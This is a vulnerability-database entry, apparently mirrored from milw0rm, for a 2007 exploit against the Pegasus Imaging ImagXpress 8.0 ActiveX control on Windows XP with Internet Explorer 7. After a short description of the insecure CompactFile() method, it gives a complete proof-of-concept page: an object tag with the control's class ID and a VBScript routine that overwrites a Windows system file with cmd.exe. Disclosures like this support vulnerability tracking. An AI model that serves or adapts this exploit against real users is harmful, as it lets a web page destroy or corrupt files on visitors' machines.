Pegasus Imaging ImagXpress 8.0 - Remote Arbitrary File Overwrite

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Pegasus Imaging ImagXpress 8.0 Remote Arbitrary File Overwrite on Windows X


                                                &#60;pre&#62;
&#60;code&#62;&#60;span style=&#34;font: 10pt Courier New;&#34;&#62;&#60;span class=&#34;general1-symbol&#34;&#62;&#60;body bgcolor=&#34;#E0E0E0&#34;&#62;-----------------------------------------------------------------------------
 &#60;b&#62;Pegasus Imaging ImagXpress 8.0 Remote Arbitrary File Overwrite&#60;/b&#62;
 url: http://www.pegasusimaging.com/

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 &#60;b&#62;&#60;font color=&#39;red&#39;&#62;This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.&#60;/font&#62;&#60;/b&#62;

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7

 &#60;b&#62;Description:
 Component name: PegasusImaging.ActiveX.ImagXpress8.dll
 Vesrion: 8.0.41.0
 This component contains an insecure &#34;CompactFile()&#34; which overwrites
 arbitrary files on user&#39;s pc.
 Passing to the first parameter (sourceFile) of the method an existing
 file as argument (e.g. a well known file as cmd.exe), the file passed
 as argument to the second parameter (destFile) will be overwrite.&#60;/b&#62;
-----------------------------------------------------------------------------
&#60;object classid=&#39;clsid:6277B638-833D-4315-9D78-60FC451DAF07&#39; id=&#39;test&#39;&#62;&#60;/object&#62;

&#60;input language=VBScript onclick=tryMe() type=button value=&#39;Click here to start the test&#39;&#62;

&#60;script language=&#39;vbscript&#39;&#62;
  Sub tryMe
   test.CompactFile &#34;c:\windows\system32\cmd.exe&#34;, &#34;c:\windows\system_.ini&#34;
   MsgBox &#34;Exploit completed.&#34;
 End Sub
&#60;/script&#62;
&#60;/span&#62;&#60;/span&#62;
&#60;/code&#62;&#60;/pre&#62;

# milw0rm.com [2007-10-05]

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1